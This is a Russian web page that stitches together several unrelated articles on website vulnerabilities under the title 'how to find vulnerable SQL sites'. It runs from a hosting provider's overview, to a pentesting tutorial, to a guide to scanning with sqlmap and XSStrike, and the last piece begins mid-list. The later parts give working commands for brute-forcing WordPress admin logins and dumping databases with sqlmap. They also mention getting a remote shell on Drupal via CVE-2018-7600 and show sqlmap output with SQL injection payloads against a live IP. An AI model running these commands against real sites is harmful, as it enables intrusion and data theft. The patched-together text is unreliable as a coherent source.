Как найти уязвимые sql сайты

Уязвимости сайта. Как их найти и устранить?

Опыт тысяч компаний показывает, что уязвимость сайта для взлома и кражи информации становится все большим риском для бизнеса. От действий хакеров страдают финансы компании и ее репутация.

От появления слабых мест (уязвимостей) не застрахован никто. Важно регулярно проводить поиск уязвимостей и оперативно их устранять. О том, как это сделать, мы расскажем в статье.

Что такое уязвимости сайта и какие они бывают?

Хакеры используют недостатки и слабые места в CMS для хищения ценной информации

В IT уязвимостями сайта называют недостатки, слабые места в CMS и коде сайта, которые могут использовать хакеры для взлома, кражи личных данных и другой ценной информации.

Уязвимости появляются из-за ошибок при проектировании системы, программировании. Также причинами могут быть ненадежные пароли, действие вирусов и вредоносных программ, а также SQL инъекции.

Уязвимыми для взлома могут быть:

• сайты;
• мобильные приложения;
• программное обеспечение на ПК;
• онлайн-сервисы.

Важно знать, как находить уязвимости в сайтах и с помощью программных инструментов. Чем быстрее вы найдете слабые места, тем меньше риски и тем быстрее их можно исправить.

Далеко не всегда использование многочисленных инструментов защиты повышает уровень безопасности для ресурса. Важнее правильно выбрать сканер уязвимостей сайта, вовремя обновлять CMS и плагины, получить SSL сертификат для сайта.

Интересный факт! Исследование Positive Tehnologics показало, что самые безопасные сайты написаны на Java, работают на коммерческих CMS. Хотя и ресурсам, написанным на PHP, можно обеспечить надежную защиту.

Самые распространенные уязвимости

Существует очень много различных уязвимостей сайтов

Уязвимостей существует очень много, и рассматривать каждую — получится многотомник, поэтому здесь мы коротко разберем те уязвимости сайтов, которые встречаются чаще всего.

SQL уязвимость

У каждого сайта есть база данных. В ней хранится информация о сайте или его пользователях. Здесь могут быть личные данные, например, номера телефонов, e-mail и пр.

Если сайт или сервис не может правильно и безопасно обработать запрос, злоумышленники, вводя специальные команды, могут получить доступ к базе. А через нее возможен доступ и ко всему сайту.

Существует много программных сканеров уязвимостей для сайтов. Есть и способы проверить сайт на SQL уязвимости вручную. Но они отнимают много времени.

Слабые места аутентификации, проверки сессий

Проверка аутентификации не всегда происходит правильно и безопасно. В результате злоумышленники могут заполучить токены (идентификаторы) для доступа, применять их какое-то время или даже постоянно.

Найти такую уязвимость может только специалист или сканер сайтов.

XSS уязвимость

XSS уязвимости во многом похожи на инъекции. Главное отличие в том, что XSS не затрагивают сервер и базу данных. Уязвимость характерна для сайтов на JavaScript. Злоумышленники передают в одном из полей вредоносный код.

Браузер воспринимает этот код как переданный сайтом, и выполняет его. В результате, злоумышленники могут получить доступ к логинам и паролям пользователей сайта, а оттуда один шаг до остальной личной информации. Подобным образом часто крадут и финансовые данные.

Host4Biz предлагает пользователям сканер уязвимостей, который поможет проверить сайты, в том числе, на XSS.

Неналаженный контроль доступа

Это — очень частая ошибка веб-разработчиков и системных администраторов. Проблема актуальна даже для популярных и относительно надежных движков.

Пример такой уязвимости: файл wp-config.php содержит пароли доступа к базе данных. Он закрыт благодаря своему разрешению php. Но его редактирование в Vim с последующим неправильным сохранением создает резервную копию формата swp. Ее можно легко открывать в браузере и редактировать.

Также в коде браузера могут быть ошибки из-за которых незарегистрированным пользователям становится доступна секретная информация.

Ошибки в конфигурации

Чтобы веб-приложение было безопасным, необходимо правильно настроить сервер и конфигурацию на уровне фреймворка. Кроме того, необходимо регулярно обновлять ПО, мониторить состояние и настройки безопасности на сервере.

Конфиденциальная информация без защиты

Часто у приложений, сайтов и API нет защиты персональной информации пользователей. Часто она находится фактически в открытом доступе. Под угрозой токены, пароли, контактная, финансовая а иногда и медицинская информация пользователей.

Для защиты конфиденциальной информации необходимо использовать шифрование https и другие методы.

Слабые механизмы противостояния атакам

Очень плохо, если у сайтов, сервисов и API нет механизмов реагирования на атаки и защиты от них. Для защиты недостаточно только проверять соответствие логина и пароля.

Второй аспект: CMS или фреймворк должен давать возможность для быстрого

развертывания обновлений, которые улучшают защиту.

CSRF уязвимости

Суть таких уязвимостей в том, злоумышленник может отправить с браузера HTTP запрос, cookie или другие данные. Их включают в слабо защищенное приложение.

Мошенники могут делать запросы из браузера пользователя. Приложения расценивают такие запросы как корректные и безопасные.

При переходе на сайт CSRF ваши друзья могут получать рекламную рассылку, о которой вы даже не знаете.

Применение уязвимых компонентов

В компонентах для CMS и API могут быть бэкдоры (уязвимости для скрытого входа и похищениях данных). Простой пример — плагины для WordPress. Не стоит ставить взломанные премиум версии. Используйте только бесплатные или лицензионные премиум версии плагинов.

API без защиты

Современные приложения состоят из клиентских приложениях и разнообразных API интерфейсов, которые доступны через JavaScript. Они работают по разным протоколам и часто содержат ошибки, которые делают их уязвимыми. Найти такие ошибки может только специальный инструмент или специалист по кибербезопасности.

Аудиты сайтов для профилактики взлома

Для профилактики взломов необходимо проводить аудиты безопасности сайта

Специалисты по безопасности могут предотвратить взлом, проводя аудиты по специальным методикам. Проверка включает тестирование на все виды уязвимости. Фактически, специалист выполняет контролируемые атаки на сайт, которые и дают информацию о том, насколько защищен сайт или веб-приложение.

Второй вариант — проверка сканерами уязвимостей.

Imunify360: возможности и преимущества

Антивирус для сайтов Imynify360 — одно из лучших средств для сканирования и обнаружения уязвимостей. Инструмент быстро находит и удаляет все вредоносные скрипты. Хорошо работает с Joomla, WordPress, Drupal и другими CMS, html сайтами.

• Обнаружение всех видов вредоносных скриптов. Антивирус обнаруживает бэкдоры, следы черного SEO, трояны и другие разновидности вредных действий.
• Лечение сайтов в один клик. За пару нажатий антивирус удаляет все вредоносные элементы с сайта.
• План сканирования и уведомления. Вы можете настроить регулярные сканирования сайта и уведомления о выявленных проблемах.

Что делать, если сайт уже пострадал от злоумышленников?

Если сайт подвергся атаке, необходимо принять меры предосторожности

Если вы видите, что сайт подвергся атаке, недостаточно просто восстановить его из резервной копии. Что еще нужно сделать?

• Разобраться, какие файлы изменены. Это может быть index.php, шаблон или другой контент.
• Сделать скриншоты, которые показывают последствия взлома.
• Уведомить хостинг провайдера и координировать с ним работы по восстановлению сайта.
• Создать логи ошибок доступа или запросить у хостера.
• Определить время, когда внесены изменения и просмотреть записи в логах за этот промежуток. Это поможет определить IP взломщиков.
• Восстановить сайт из бекапа, обновить пароли, скрипты и компоненты. Удалить источник уязвимости.

Чтобы уменьшить риск взлома, следуйте нескольким правилам:

• контролируйте круг лиц, которым сообщаете пароли от сайта, если доступ имеют сторонние специалисты, удаляйте их записи после окончания работ;
• загружайте темы и плагины только из надежных источников;
• ставьте сложные пароли и периодически меняйте их;
• пользуйтесь плагинами для безопасности, без них сайты могут взломать даже примитивным брутфорсом;
• делайте бэкапы регулярно;
• регулярно обновляйте CMS и все компоненты.

Выводы

Для Host4Biz безопасность ваших сайтов — приоритет. Мы постоянно контролируем ситуацию и предпринимаем меры предосторожности. В статье мы рассказали о том, что можете сделать вы, чтобы защитить сайты.

Читайте наши статьи и обязательно заказывайте хостинг для WordPress с надежной защитой антивируса, автоматическими обновлениями плагинов, SSL сертификатом. На такой основе ваш сайт будет работать надежно и быстро.

Уязвимые сайты для атаки SQL и как правильно защищаться

Уязвимые сайты не являются редкостью, как и SQL-инъекции. Любая защита веб-ресурса начинается с примитивных мер безопасности , и далее по нарастающей. Нельзя игнорировать даже самый простой шаг, чтобы обезопасить свой ресурс.

Злоумышленники тоже люди. Большинство злоумышленников работают по принципу: попробовал взломать сайт простым методом, ничего не получилось, не стал напрягаться и пошел дальше. Хуже , когда хакер целенаправленно хочет взломать ваш сайт , — от таких сложнее всего защищаться.

Мы будем очень благодарны

если под понравившемся материалом Вы нажмёте одну из кнопок социальных сетей и поделитесь с друзьями.

Как найти уязвимость вебсайта

Взлом сайтов — один из самых распространенных типов атак. Если тебе интересно, как взламывают сайты и на что нужно обратить внимание, чтобы защитить свой ресурс, то эта статья для тебя. Здесь я разберу самые начала пентеста веб-приложений и на примерах покажу, как работать с популярными движками.

На январь 2020 года в интернете насчитывается 1,74 миллиарда сайтов, и многие из них уязвимы. Десять лет назад исследование Web Application Security Consortium показало, что минимум 13% сайтов можно взломать автоматически. А в недавнем исследовании Positive Technologies сообщается об уязвимости 19% протестированных веб-приложений. Поистине огромный простор для действий злоумышленников!

Содержание скрыть

Общие принципы взлома сайтов

По структуре сайты делятся на три больших класса:

• самописные (сделанные вручную на HTML, произведенные статическим генератором типа Jekyll или собранные в программе-конструкторе типа Adobe Dreamweaver);
• сделанные в онлайновых конструкторах (в основном это сайты-визитки без каких-либо баз данных и передаваемых полей);
• работающие на готовых CMS (Content Management System, системах управления контентом).

Встречаются еще самодельные CMS, созданные для конкретного сайта, но это сейчас стало редкостью — позволить себе поддержку своей системы могут только самые крупные ресурсы, и оправдать связанные с этим затраты непросто.

В основе большинства современных сайтов — готовые движки. Например, Xakep.ru не исключение: он работает на популярной системе WordPress (по крайней мере сейчас, в 2020 году).

С точки зрения атакующего, движки сайтов ничем не отличаются от других сервисов и служб. Их исходный код обычно находится в общем доступе, и любой исследователь может проанализировать его на ошибки, в том числе бреши в безопасности. Поэтому сайты на CMS редко становятся жертвами целевой атаки. Чаще их ломают массово.

Такой взлом автоматизирован и обычно протекает по следующей схеме: злоумышленник находит уязвимость (самостоятельно или просто гуглит что-то свежее). Затем он делает эксплоит или берет готовый и пишет специализированный бот. Этот бот ищет указанную дыру на всех сайтах подряд в заданном диапазоне и пытается эксплуатировать ее.

Казалось бы, для защиты от автоматических атак надо всего-то поддерживать программное обеспечение в актуальном состоянии, но в реальности CMS обрастает разными дополнениями, и уследить за всеми становится сложно.

При пентесте стоит несколько иная задача — проверить конкретный сайт на уязвимости. Об этом мы и поговорим.

Разведка

Прежде чем пытаться атаковать цель, нужно собрать информацию о ней. Для этого хорошо подходит инструмент WhatWeb. Эта утилита предоставляет подробную информацию о CMS жертвы и использованных ей веб-инструментах.

Советую запускать WhatWeb с ключом -а , указывая после него значение 3 или 4. Разница между ними только в том, что во втором случае WhatWeb будет сканировать еще и субдиректории. Имей в виду, что оба варианта задают агрессивный метод опросов — со всеми вытекающими, а точнее «втекающими» на сервер логами.

Вот пример запуска и собранных ответов:

$ whatweb -a3 https://URL https://URL [200 OK] Cookies[PHPSESSID], Country[UNITED KINGDOM][GB], Frame, HTML5, JQuery[1.9.0,2.2.3], Open-Graph-Protocol[website], PHP[7.1.33], PasswordField[password], Script[application/ld+json,text/javascript], Title[Bower Partnerships | Best Equity Release Broker Customer Service 2019], UncommonHeaders[link,x-robots-tag,alt-svc], WordPress, X-Powered-By[PHP/7.1.33], X-UA-Compatible[IE=EDGE]

Здесь мы видим, что это сайт британской компании, сделанный на WordPress, используется PHP v. 7.1.33 и jQuery 1.9.0, 2.2.3. Неплохо для начала!

Если у тебя нет VPN или ты просто не хочешь заморачиваться с установкой, обрати внимание на онлайновую версию WhatWeb.

Кстати, при работе с заграничными сайтами она дает большую скорость.

Если тебе достаточно определить только название CMS, то для этого есть отдельные сервисы, даже русскоязычные.

• WordPress — 58,12%;
• Joomla — 17,12%;
• OpenCart — 4,65%;
• Drupal — 3,75%;
• Wix — 3,74%;
• MODX Revolution — 2,81%;
• MODX Evolution — 2,76%;
• Nethouse — 2,23%;
• прочие — 4,78%.

WordPress

Поскольку WordPress — это сейчас самая популярная CMS, то перейдем сразу к ней. Под нее выпущен очень мощный сканер, который умеет творить магию, — WPScan. На момент написания статьи актуальная версия была 3.7.8. Этот сканер умеет определять версию сканируемого объекта, брутить админку (у него даже есть свой встроенный словарь), смотреть уязвимые открытые директории, определять установленные плагины и много всего другого. К тому же он предустановлен в Kali Linux и в других дистрибутивах для пентестеров. Есть даже версия в докер-контейнере.

На мой взгляд, управление и ключи WPScan могли бы и упростить. Даже хелпа у программы два — краткий ( -h ) и подробный ( —hh ).

Перед первым использованием WPScan необходимо обновить его базу данных.

wpscan --update 

После этого начинаем сканирование. Сам по себе WPScan без ключей выдаст общую информацию о сайте, лишь поверхностно просканировав цель.

wpscan --url http://example.com

После строчки Interesting Finding(s): начинаются те самые моменты, на которые стоит обратить внимание:

• версия WP;
• открытые директории;
• подозрения на уязвимости;
• ссылки на ресурсы, где об этих уязвимостях можно почитать.

В конце вывода красным восклицательным знаком помечены строки, которые идут вразрез с правилами безопасности. В нашем случае это торчащий наружу конфигурационный файл wp-config.php с логином и паролем к базе данных.

Продолжаем копать и все тем же софтом пробуем сбрутить логин и пароль к админке:

wpscan --url http://[IP-address] --passwords pass.txt --usernames user.txt

Брутфорсится очень быстро благодаря многопоточности. Если админ использовал стандартные учетные записи и установил несложные пароли, то результат не заставит себя долго ждать.

Как видишь, учетные данные к админке и базе данных мы достали без особого труда. Для рядового взломщика это было бы больше чем предостаточно, но мы еще не все проверили. На очереди — плагины для WP и другие популярные точки входа.

Сканер показал нам, что на выбранном сайте нет ни одного установленного плагина, однако это может быть ложным выводом, основанным на ограничениях пассивного метода сканирования. Для более надежного обнаружения плагинов нужно задать агрессивный метод их поиска:

wpscan --url http://[IP-address] --enumerate ap --plugins-detection aggressive

Учти, что ключ ap покажет все найденные плагины, а vp — только уязвимые. Данная процедура занимает приличное время. Скорость будет зависеть от удаленности сайта, но даже в лучшем случае на это уйдет не меньше 30 минут.

Как видишь, агрессивный метод дал свои результаты: обнаружен антиспам-плагин Akismet версии 3.1.1.

Точно такими же действиями необходимо искать другие уязвимые дополнения к WP. Подробнее смотри мануал в разделе —enumerate .

Также посмотри идентификаторы известных уязвимостей — CVE. Например, для версии PHP, на которой работает CMS. Затем поищи готовые модули Metasploit для WP и проверь их в деле.

Joomla

Joomla тоже довольно популярная CMS, для которой есть свой сканер — JoomScan. Написали его ребята из Open Web Application Security Project (OWASP). Он еще актуален, хотя и давно не обновлялся. Последняя версия 0.0.7 вышла в сентябре 2018 года.

По своей сути это точно такой же сканер безопасности, как и WPScan, только немного попроще. JoomScan также предустановлен в большинстве дистрибутивов для специалистов по безопасности, а весь его мануал умещается в несколько строк.

Он тоже поддерживает агрессивный метод сканирования установленных компонентов. Команда запуска сканирования в агрессивном режиме выглядит так:

joomscan --url http://84.42.34.2/ --enumerate-components

Вот пример анализа найденной на просторах интернета старой и очень дырявой версии сайта на Joomla.

Как видно по скриншоту, программа выдает версию CMS, CVE найденных уязвимостей и ссылки на эксплоиты, которыми можно воспользоваться для взлома сайта. Также в выводе приводятся все найденные на сайте директории и ссылка на файл конфигурации, если его забыли спрятать.

Брутфорсить админку JoomScan не умеет. Сегодня, чтобы выполнить такой брутфорс, нужен серьезный инструмент, который работает с цепочкой прокси-серверов. Хотя бы потому, что на сайтах с Joomla часто используется плагин brute force stop. Когда количество неудачных попыток авторизации достигает заданного числа, он блокирует IP-адрес атакующего.

Если сайт с Joomla работает на HTTP (что уже редкость), попробуй воспользоваться скриптом Nmap.

Drupal и другие CMS

С Drupal все немного сложнее, как и с другими непопулярными CMS. Годного сканера, который бы находил уязвимости на таких сайтах, просто нет. Из готовых инструментов мне удалось найти лишь DroopeScan, но он только помогает быстро собрать базовую информацию о жертве.

Устанавливается DroopeScan через pip (естественно, у тебя должен быть установлен Python).

pip install droopescan

Запускаем сканирование. Так как он поддерживает не только Drupal, ему желательно явно указать, какую CMS мы ожидаем встретить на сайте:

droopescan scan drupal -u http://url 

Остальное приходится выискивать руками и гуглить в интернете. В этом очень помогают сайты с поиском по базам уязвимостей, например CVEdetails, и готовые эксплоиты с PoC (их можно найти на GitHub и в даркнете).

К примеру, возьмем уязвимость CVE-2018-7600, которой подвержены версии Drupal 7.х и 8.х. Она позволяет загрузить и вызвать shell удаленно. Эксплоит для PoC можно взять тут.

Сканер выдал мне лишь версию CMS, и этого хватило для эксплуатации уязвимости. В целом взлом Drupal и других CMS по своей сути ничем не отличается от поиска дыр в любом другом онлайновом сервисе. Бреши в безопасности либо есть, либо их еще не нашли.

Не надо далеко ходить за боевым эксплоитом, чтобы открыть сессию в Meterpreter и воспользоваться уязвимостью в полной мере.

Удар по самописным сайтам

С тестированием самописных сайтов все намного сложнее. Нет конкретного сканера, который сказал бы: вот тут есть старая версия веб-приложения, в нем известная дыра, вот ссылка на эксплоит и подробное описание его применения. Есть только очень обширный список потенциальных уязвимостей, которые нужно проверить. Проводят такие пентесты по методике OWASP или собственным алгоритмам.

Тестирование на проникновение — дело сугубо творческое. В нем нет жестких рамок и перечня обязательных инструментов, особенно если они опенсорсные. Однако аудит безопасности — серьезная услуга, и некоторые организации стараются структурировать ее выполнение, чтобы в полете фантазии пентестер ничего не пропустил.

Одним из способов это сделать стало руководство OWASP Testing Guide v4. Это подробный сборник правил обнаружения уязвимостей веб-приложений. Ребята собрали и описали доступным языком методы тестирования уязвимостей десяти наиболее распространенных классов — OWASP 10.

Если нужно проверить возможность взлома самописного сайта, то лучше начинать с того же WhatWeb. Только теперь мы смотрим не CMS, а все обнаруженные сервисы и их версии.

Есть множество уязвимых версий самих фреймворков. К примеру, зачастую используют устаревшие версии Ruby on Rails или Apache Tomcat. Эксплоиты для них есть в открытом доступе.

Также стоит обратить внимание на версии самих языков программирования. К примеру, в PHP постоянно находят уязвимости, а с момента их обнаружения до апдейта на сайте может пройти не одна неделя.

Следующим шагом желательно воспользоваться сканерами безопасности. Даже если они не дадут готовый вердикт, то подкинут пищу для размышлений. Например, программа dirb поможет пробежаться по открытым директориям и вернет коды ответов.

Для проверки на типовые уязвимости воспользуйся универсальными сканерами: nikto, OWASP ZAP, w3af, skipfish. Также советую иметь в запасе mantra security toolkit.

Для всего остального есть Burp Suite. Обычно с его помощью выполняется более сложный поиск уязвимостей веб-приложений. В качестве примера рассмотрим поиск и эксплуатацию SQL-инъекций.

Ставим Burp Suite (в Kali Linux он уже предустановлен), находим в нем Repeater (повторитель запросов) и запускаем. В запросе GET или POST ищем передаваемое на сервер значение (типа id=12 ) и закидываем его в Repeater.

Добавляем одинарную кавычку, чтобы проверить отсутствие фильтрации специальных символов в передаваемом значении, и видим сообщение с ошибкой syntax error sql . Возникновение ошибки говорит о том, что сайт уязвим к SQL-инъекциям. Для автоматизации развития атаки используем sqlmap.

sqlmap -u http://url/page.php?id=1 --dbs

Ключ -u указывает на URL цели, а —dbs говорит проверить все СУБД.

Этот комбайн для SQL-инъекций сам определит, какой пейлоад подходит, и по твоим командам вытащит все нужные данные из баз на сайте. Он даже предложит сразу определить пароли по хешам, если найдет. Особенно этот софт полезен при эксплуатации так называемых слепых SQL-инъекций.

Как защититься

Если ты владелец сайта на CMS, то оптимальной стратегией безопасности будет отказаться от сомнительных дополнений, свести к минимуму число плагинов и регулярно обновлять все программное обеспечение. Веб-дизайнерам и программистам хочется напомнить элементарные правила написания безопасного кода — хотя бы фильтруйте спецзнаки в запросах к базам данных и проверяйте позаимствованные в интернете скрипты.

Если твой сайт писали на заказ, то нужно проверить все использованные веб-компоненты, удалить опциональные и своевременно обновлять оставшиеся до актуальных версий. Поэтому заранее позаботься о поддержке сайта.

Универсальный вариант — периодически заказывать поиск уязвимостей у стороннего специалиста. Кстати, крупные компании часто платят вознаграждение за недочеты безопасности, выявленные в их онлайновых сервисах. Почему бы тебе не начать свою карьеру пентестера с bug bounty?

Что дальше

Если тема поиска уязвимостей в веб-сервисах тебя заинтересовала, предлагаю самостоятельно попрактиковаться по руководству OWASP 10. А прежде чем пентестить какие-то реальные объекты, ты можешь отточить свои навыки на специальных полигонах и уязвимых виртуальных машинах.

WWW

• itsecgames.com — уязвимая площадка bwapp
• hacksplaining.com — тестовый онлайн-полигон для практики
• vulnhub.com — огромный сборник уязвимых виртуальных машин
• pentesterlab.com — курсы с объяснением веб-уязвимостей
• Примеры веб-уязвимостей

Как за 30 минут бесплатно проверить свой сайт на наличие уязвимостей

Пошагово расскажу как за полчаса комплексно проверить безопасность сайта даже если вы не программист. Статья будет полезна разработчикам, тестировщикам, а также владельцам сайтов.

16 показов
65K открытий

На сайте две ветки — 2.x и 3.x, но скачать и установить лучше ветку 3.x. Sqlmap корректно работают с каждой из этих версий, но в дальнейшем нам потребуется версия 3.x.

Загрузить последнюю версию sqlmap можно здесь. Распакуйте архив в любую удобную папку (чтобы было проще ее найти можно распаковать в папку С:\Users\)

Для запуска вначале нужно открыть командную строку. Нажмите Win+R, в появившемся окне введите cmd и нажмите enter. Пример запуска:

С:\Users\Admin\sqlmap>python ./sqlmap.py -u http://161.35.92.161/page.php?id=2

Установка на Mac OS X

Для начала установим Python. Для этого откройте Tерминал и запустите следующую команду.

brew install python3

Теперь установим sqlmap.

brew install sqlmap

Запуск sqlmap для Mac OS X.

sqlmap -u http://161.35.92.161/page.php?id=2 —dbs -o -random-agent
Начинаем проверку

В моем тестируемом сервисе я специально подготовил sql уязвимости. Попробуем найти их следующей командой. Параметр —dbs означает, что нам интересны имена баз данных. В случае успеха и наличия уязвимости, после определения баз данных можно перейти к поиску таблиц и получения нужных данных. Команду необходимо вводить в консоль.

python sqlmap.py -u http://161.35.92.161/page.php?id=2 —dbs -o -random-agent

Через некоторое время скрипт может попросить нас уточнить некоторые данные. В данном случае выбираю «нет», чтобы скрипт прогнал все тесты.

[01:14:57] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; MSIECrawler)’ from file ‘C:\Users\Acer\sqlmap\data\txt\user-agents.txt’ [01:15:04] [INFO] testing connection to the target URL [01:15:04] [INFO] checking if the target is protected by some kind of WAF/IPS [01:15:05] [INFO] testing NULL connection to the target URL [01:15:05] [INFO] NULL connection is supported with GET method (‘Range’) [01:15:05] [INFO] testing if the target URL content is stable [01:15:05] [INFO] target URL content is stable [01:15:05] [INFO] testing if GET parameter ‘id’ is dynamic [01:15:05] [INFO] GET parameter ‘id’ appears to be dynamic [01:15:06] [INFO] heuristic (basic) test shows that GET parameter ‘id’ might be injectable [01:15:06] [INFO] testing for SQL injection on GET parameter ‘id’ [01:15:06] [INFO] testing ‘AND boolean-based blind — WHERE or HAVING clause’ [01:15:06] [INFO] GET parameter ‘id’ appears to be ‘AND boolean-based blind — WHERE or HAVING clause’ injectable [01:15:07] [INFO] heuristic (extended) test shows that the back-end DBMS could be ‘CrateDB’ it looks like the back-end DBMS is ‘CrateDB’. Do you want to skip test payloads specific for other DBMSes? [Y/n] n

Скрипт выводит отчет:

[01:15:29] [INFO] testing ‘MySQL >= 5.0 AND error-based — WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)’ [01:15:29] [INFO] testing ‘PostgreSQL AND error-based — WHERE or HAVING clause’ [01:15:29] [INFO] testing ‘Microsoft SQL Server/Sybase AND error-based — WHERE or HAVING clause (IN)’ [01:15:30] [INFO] testing ‘Oracle AND error-based — WHERE or HAVING clause (XMLType)’ [01:15:30] [INFO] testing ‘MySQL >= 5.0 error-based — Parameter replace (FLOOR)’ [01:15:30] [INFO] testing ‘Generic inline queries’ [01:15:30] [INFO] testing ‘PostgreSQL > 8.1 stacked queries (comment)’ [01:15:30] [WARNING] time-based comparison requires larger statistical model, please wait. (done) [01:15:32] [INFO] testing ‘Microsoft SQL Server/Sybase stacked queries (comment)’ [01:15:32] [INFO] testing ‘Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE — comment)’ [01:15:32] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’ [01:15:43] [INFO] GET parameter ‘id’ appears to be ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’ injectable [01:15:43] [INFO] testing ‘Generic UNION query (NULL) — 1 to 20 columns’ [01:15:43] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [01:15:45] [INFO] target URL appears to be UNION injectable with 4 columns [01:15:46] [INFO] GET parameter ‘id’ is ‘Generic UNION query (NULL) — 1 to 20 columns’ injectable GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] y

После продолжения анализа нас в первую очередь интересует строчка в конце: GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N].

Как можно видеть, скрипт определил, что параметр id уязвим и предлагает протестировать другие параметры. В нашем конкретном случае других параметров нет, но в реальных веб-приложениях таких параметров может быть десятки, так что иногда имеет смысл проверить все.

sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests: — Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind — WHERE or HAVING clause Payload: AND 9795=9795 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: AND (SELECT 7989 FROM (SELECT(SLEEP(5)))geJr) Type: UNION query Title: Generic UNION query (NULL) — 4 columns Payload: UNION ALL SELECT NULL,CONCAT(0x716a6a6b71,0x736654714b69505a4f6f64434776566d7a43455179446561434f7a46434241555449574d6759575a,0x7162627171),NULL,NULL— — — [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 [INFO] fetching database names available databases [2]: [*] information_schema [*] vc_test [INFO] fetched data logged to text files under ‘C:\Users\Admin\AppData\Local\sqlmap\output\161.35.92.161’

В итоге скрипт не только определил, что параметр id является уязвимым, но и версию СУБД, а также получил название используемой базы данных на сервере — vc_test, в которой содержится контент сайта. Эту информацию можно найти в конце сгенерированного отчета.

В дальнейшем для злоумышленника уже обычно не проблема получить данные в таблицах, а возможно и полный контроль над всей БД, а то и всем нашим сервером и исходным кодом сайта, если для запросов используется пользователь с широкими правами.

Кроме того, sqlmap позволяет задавать http заголовки и параметры Cookies, что довольно удобно для тестирования, особенно когда для получения результата запроса требуется авторизации.

Пример тестирования запроса POST. Параметры, которые передаются в теле запроса записываются в опцию скрипта —data. Необходимые параметры для POST запроса можно подсмотреть в консоли браузера (Ctrl + Shift + I в Windows, затем перейти в вкладку Network, совершить нужное действие, а затем изучить каким образом формируется запрос)

sqlmap.py -u http://localhost/login —data=»username=alex&password=pass» —dbs -o -random-agent

После авторизации обычно необходимо передать нужные Сookie. В sqlmap за это отвечает опция —cookie. Нужные значения cookies можно получить в инструментах разработчика вашего браузера. (в Windows ctrl+shift+i, затем найдите вкладку Network, а в ней щелкните на запрос с именем домена сайта. В окне справа пролистайте пока не увидите параметр cookie)

Пример команды sqlmap c опцией —cookie.

sqlmap.py -u http://localhost/create —data=»name=alex&message=hacked» —cookie=»security_level=low; PHPSESSID=05aa4349068a1kkaje4kcqnr9o6″ —dbs -o -random-agent

Если параметров несколько, то можно явно указать какой параметр будем тестировать с помощью опции -p.

sqlmap.py -u «http://localhost/profile/?username=alex&page=2» -p username

Можно задавать http заголовки через опцию —headers. Это крайне полезно для тестирования ваших API.

Также если get параметр передается не как get параметр, а как URI, то в этом случае нужно явно указать с помощью * , что данная часть URI является параметром. Пример:

sqlmap.py -u «http://localhost/api/v2/news/2*» —headers=»Authorization: Bearer » —dbs -o -random-agent

Таким образом можно довольно тщательно протестировать ваше веб-приложение на наличие SQL инъекций. Также крайне полезно использовать sqlmap для автоматических тестов и запускать их после каждого изменения кода вашего приложения и не допускать код в ветку master, если он содержит уязвимость.

Для защиты от SQL инъекций нужно тщательно фильтровать параметры и HTTP заголовки, а также использовать подготовленные запросы.

5. Проверка на XSS уязвимости.

Межсайтовый скриптинг (XSS) – это уязвимость, которая заключается во внедрении злоумышленником своего Javascript кода в веб-страницу, которая отображается в браузере пользователя.

После такого внедрения злоумышленник фактически захватывает веб-страницу и может манипулировать данными пользователя, когда он находится на странице. В случае успеха злоумышленник может:

• Внедрять свои скрипты в веб-страницу
• Отправлять на свой сервер пользовательские данные — банковские карты, идентификаторы сессий, пароли и тд.
• Совершать действия от имени пользователя — рассылать спам, совершать денежные переводы

Уязвимость возникает из-за недостаточной фильтрации данных, которые выводятся при отображении страницы.

Такие уязвимости довольно часто встречаются даже в крупных продуктах, поэтому стоит обязательно тестировать свои веб-приложения на наличие XSS уязвимостей.

В данном случае для тестирования мы воспользуемся утилитой XSStrike

ХSStrike — это довольно продвинутый сканер для поиска XSS уязвимостей c открытым исходным кодом. Он написано на Python3 и довольно прост в начальной настройке и использования.

Для установки необходимо скачать архив по ссылке и распаковать в удобную вам папку. После этого необходимо открыть консоль (ранее я уже показывал как это сделать в Mac и Windows) и перейти в распакованную папку. Затем нужно выполнить команды в консоле:

pip3 install pygame

Установим необходимые для корректной работы библиотеки:

pip3 install -r requirements.txt

Теперь мы готовы к тестированию. Пример простого запуска, вместо моего url укажите адрес страницы, которую хотите протестировать:

python xsstrike.py -u «http://161.35.92.161/index.php?page=2» —blind

Очень быстро скрипт обнаруживает, что параметр page является уязвимым ( строчка Reflections found ) и через него можно передать js код, который будет исполнен на странице. Пример такого кода приводится в строчке Payload. Такой тип XSS уязвимостей называется reflected XSS.

[~] Checking for DOM vulnerabilities [+] WAF Status: Offline [!] Testing parameter: page [!] Reflections found: 1 [~] Analysing reflections [~] Generating payloads [!] Payloads generated: 3072 ———————————————————— [+] Payload:

Кроме того, можно проверять и формы. Отправим на проверку форму, которая отправляет сообщение в наш сервис. Чтобы передать список POST параметров используем опцию —data.

python xsstrike.py -u «http://161.35.92.161/index.php» —data «name=&message=» —blind

Результат: параметр name уязвим.

[~] Checking for DOM vulnerabilities [+] WAF Status: Offline [!] Testing parameter: name [!] Reflections found: 3 [~] Analysing reflections [~] Generating payloads [!] Payloads generated: 4608 ———————————————————— [+] Payload: v3dm0s [!] Efficiency: 100 [!] Confidence: 10 [?] Would you like to continue scanning? [y/N]

Как выглядит ответ, когда скрипт не находит уязвимых параметров:

[~] Checking for DOM vulnerabilities [+] WAF Status: Offline [!] Testing parameter: name [-] No reflection found [!] Testing parameter: message [-] No reflection found

Кроме того, в XSStrike поддерживает возможность передавать http заголовки, в том числе и cookies и проверять страницы для открытия которых нужна авторизация. Для этого используется опция —headers

python xsstrike.py -u «http://161.35.92.161/index.php» —data «name=&message=» —headers «Authorization: Bearer Cookie: zmname\=none» —blind

Также можно запустить обход по всему сайту. Нужно указать стартовую страницу и сканер начнет обход всех найденных страниц. Запись -l 100 отвечает за количество страниц обхода.

